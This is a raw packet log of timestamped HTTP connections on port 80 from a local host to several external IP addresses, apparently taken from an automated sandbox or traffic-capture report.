Nov 10, 2023 09:27:29.368367910 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.369051933 CET	49714	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:27:29.565602064 CET	80	49714	84.32.84.32	192.168.2.10
Nov 10, 2023 09:27:45.205852032 CET	49715	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:45.358423948 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.358730078 CET	49715	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:45.358906984 CET	49715	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:45.511161089 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.742500067 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.742522001 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.742536068 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.742547989 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.742562056 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.742702007 CET	49715	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:45.743485928 CET	80	49715	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:45.743542910 CET	49715	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:46.860749006 CET	49715	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:47.876622915 CET	49716	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:48.029113054 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.029452085 CET	49716	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:48.029633999 CET	49716	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:48.182041883 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808260918 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808281898 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808290005 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808305025 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808312893 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808763027 CET	49716	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:48.808900118 CET	80	49716	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:48.808979988 CET	49716	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:49.532341957 CET	49716	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:50.562339067 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:50.715975046 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:50.716085911 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:50.716406107 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:50.869008064 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:50.869034052 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133230925 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133271933 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133285046 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133299112 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133311033 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133429050 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:51.133456945 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:51.133461952 CET	80	49717	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:51.133531094 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:52.220259905 CET	49717	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.235866070 CET	49718	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.388351917 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:53.388469934 CET	49718	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.388838053 CET	49718	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.541204929 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:53.617281914 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:53.617347002 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:53.617383957 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:53.617458105 CET	49718	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.617760897 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:53.617856979 CET	49718	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.617950916 CET	49718	80	192.168.2.10	23.227.38.74
Nov 10, 2023 09:27:53.770258904 CET	80	49718	23.227.38.74	192.168.2.10
Nov 10, 2023 09:27:59.339667082 CET	49719	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:27:59.646331072 CET	80	49719	91.195.240.123	192.168.2.10
Nov 10, 2023 09:27:59.646446943 CET	49719	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:27:59.646814108 CET	49719	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:27:59.953897953 CET	80	49719	91.195.240.123	192.168.2.10
Nov 10, 2023 09:27:59.953918934 CET	80	49719	91.195.240.123	192.168.2.10
Nov 10, 2023 09:27:59.954125881 CET	49719	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:01.157303095 CET	49719	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:02.173470974 CET	49720	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:02.480637074 CET	80	49720	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:02.480907917 CET	49720	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:02.481271982 CET	49720	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:02.789205074 CET	80	49720	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:02.789237976 CET	80	49720	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:02.789371967 CET	49720	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:03.986037970 CET	49720	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:05.001790047 CET	49722	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:05.306581020 CET	80	49722	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:05.306775093 CET	49722	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:05.310724020 CET	49722	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:05.615365028 CET	80	49722	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:05.615788937 CET	80	49722	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:05.615803957 CET	80	49722	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:05.615844965 CET	49722	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:06.813596010 CET	49722	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:07.829838991 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.134253979 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.134418011 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.134658098 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.479257107 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494031906 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494050026 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494061947 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494076014 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494088888 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494131088 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.494167089 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.494168997 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494184017 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494195938 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494209051 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494220972 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.494220972 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.494256020 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.494282007 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798624992 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798654079 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798669100 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798681974 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798696995 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798708916 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798708916 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798728943 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798737049 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798755884 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798769951 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798772097 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798804998 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798810005 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798820972 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798834085 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798847914 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:08.798847914 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798875093 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.798971891 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:08.799149990 CET	49723	80	192.168.2.10	91.195.240.123
Nov 10, 2023 09:28:09.103380919 CET	80	49723	91.195.240.123	192.168.2.10
Nov 10, 2023 09:28:15.184653044 CET	49724	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:15.380403996 CET	80	49724	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:15.380573988 CET	49724	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:15.448548079 CET	49724	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:15.644114971 CET	80	49724	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:15.644188881 CET	80	49724	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:17.970448971 CET	49725	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:18.166167021 CET	80	49725	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:18.166328907 CET	49725	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:18.175122976 CET	49725	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:18.371335983 CET	80	49725	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:18.371519089 CET	80	49725	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:20.704658031 CET	49726	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:20.900512934 CET	80	49726	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:20.900778055 CET	49726	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:20.903774977 CET	49726	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:21.099773884 CET	80	49726	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:21.099842072 CET	80	49726	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.423567057 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.619235039 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.619472027 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.619740963 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.815361023 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815479040 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815623999 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815680981 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815720081 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815751076 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.815761089 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815783024 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.815800905 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815839052 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815872908 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.815876961 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815913916 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:23.815924883 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.815972090 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:23.816148043 CET	49727	80	192.168.2.10	84.32.84.32
Nov 10, 2023 09:28:24.011737108 CET	80	49727	84.32.84.32	192.168.2.10
Nov 10, 2023 09:28:28.992280960 CET	49728	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:29.144360065 CET	80	49728	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:29.144541025 CET	49728	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:29.144850016 CET	49728	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:29.296765089 CET	80	49728	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:29.418311119 CET	80	49728	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:29.418328047 CET	80	49728	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:29.418339968 CET	80	49728	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:29.418427944 CET	49728	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:29.433980942 CET	80	49728	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:29.434097052 CET	49728	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:30.659737110 CET	49728	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:32.921482086 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:33.073390961 CET	80	49729	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:33.073573112 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:33.133064985 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:33.285177946 CET	80	49729	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:33.343295097 CET	80	49729	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:33.343338013 CET	80	49729	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:33.343374014 CET	80	49729	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:33.343393087 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:33.343417883 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:33.355670929 CET	80	49729	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:33.355720997 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:34.641649961 CET	49729	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:35.657944918 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:35.810029984 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:35.810216904 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:35.810514927 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:35.962465048 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:35.962492943 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:36.084145069 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:36.084173918 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:36.084192038 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:36.084285021 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:36.084435940 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:36.097115993 CET	80	49730	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:36.097300053 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:37.317540884 CET	49730	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.329684973 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.481719017 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:38.481942892 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.482089043 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.634016037 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:38.750719070 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:38.750745058 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:38.750758886 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:38.751036882 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.751036882 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.751194000 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.766060114 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:38.766161919 CET	49731	80	192.168.2.10	199.59.243.225
Nov 10, 2023 09:28:38.903095007 CET	80	49731	199.59.243.225	192.168.2.10
Nov 10, 2023 09:28:43.997538090 CET	49732	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:44.188318014 CET	80	49732	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:44.188535929 CET	49732	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:44.188903093 CET	49732	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:44.379303932 CET	80	49732	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:44.492309093 CET	80	49732	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:44.492448092 CET	80	49732	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:44.492537975 CET	49732	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:45.718225956 CET	49732	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:46.721118927 CET	49733	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:46.912209988 CET	80	49733	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:46.912372112 CET	49733	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:46.913254023 CET	49733	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:47.104083061 CET	80	49733	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:47.207586050 CET	80	49733	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:47.207614899 CET	80	49733	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:47.207798004 CET	49733	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:48.514533997 CET	49733	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:50.965893030 CET	49734	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:51.157346010 CET	80	49734	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:51.157464027 CET	49734	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:51.157749891 CET	49734	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:51.350312948 CET	80	49734	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:51.456449032 CET	80	49734	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:51.456752062 CET	80	49734	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:51.456965923 CET	49734	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:52.672862053 CET	49734	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:53.689023972 CET	49735	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:53.880597115 CET	80	49735	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:53.880816936 CET	49735	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:53.881416082 CET	49735	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:54.072593927 CET	80	49735	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:54.178764105 CET	80	49735	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:54.178788900 CET	80	49735	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:54.178966999 CET	49735	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:54.179158926 CET	49735	80	192.168.2.10	162.0.222.119
Nov 10, 2023 09:28:54.370210886 CET	80	49735	162.0.222.119	192.168.2.10
Nov 10, 2023 09:28:59.391047955 CET	49736	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:28:59.697829008 CET	80	49736	91.195.240.19	192.168.2.10
Nov 10, 2023 09:28:59.697992086 CET	49736	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:28:59.698246956 CET	49736	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:00.005218029 CET	80	49736	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:00.005253077 CET	80	49736	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:00.005302906 CET	49736	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:01.204499960 CET	49736	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:02.220442057 CET	49737	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:02.525876999 CET	80	49737	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:02.526046038 CET	49737	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:02.526262999 CET	49737	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:02.832225084 CET	80	49737	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:02.832256079 CET	80	49737	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:02.832464933 CET	49737	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:04.032368898 CET	49737	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:05.049324989 CET	49738	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:05.356395006 CET	80	49738	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:05.356503010 CET	49738	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:05.356878042 CET	49738	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:05.666332006 CET	80	49738	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:05.666801929 CET	80	49738	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:05.666816950 CET	80	49738	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:05.666866064 CET	49738	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:06.936031103 CET	49738	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:08.723129034 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.030050039 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.030210018 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.030483961 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.378135920 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401205063 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401220083 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401278973 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401290894 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401300907 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401314974 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401326895 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401330948 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.401386023 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.401427031 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401438951 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401449919 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.401465893 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.401493073 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.708133936 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708156109 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708172083 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708210945 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.708216906 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708231926 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708245039 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708265066 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708268881 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.708276033 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708281994 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708291054 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708297968 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708298922 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.708304882 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708306074 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:09.708328962 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.708434105 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:09.708585978 CET	49739	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:10.015387058 CET	80	49739	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:15.155553102 CET	49740	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:15.508277893 CET	80	49740	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:15.508480072 CET	49740	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:15.508759022 CET	49740	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:15.864568949 CET	80	49740	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:15.864708900 CET	49740	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:17.016693115 CET	49740	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:18.032922029 CET	49741	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:18.389189959 CET	80	49741	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:18.389286041 CET	49741	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:18.389555931 CET	49741	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:18.746262074 CET	80	49741	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:18.746392012 CET	49741	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:19.891632080 CET	49741	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:20.907877922 CET	49742	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:21.260704041 CET	80	49742	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:21.260891914 CET	49742	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:21.261713982 CET	49742	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:21.615073919 CET	80	49742	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:21.615573883 CET	80	49742	168.76.252.99	192.168.2.10
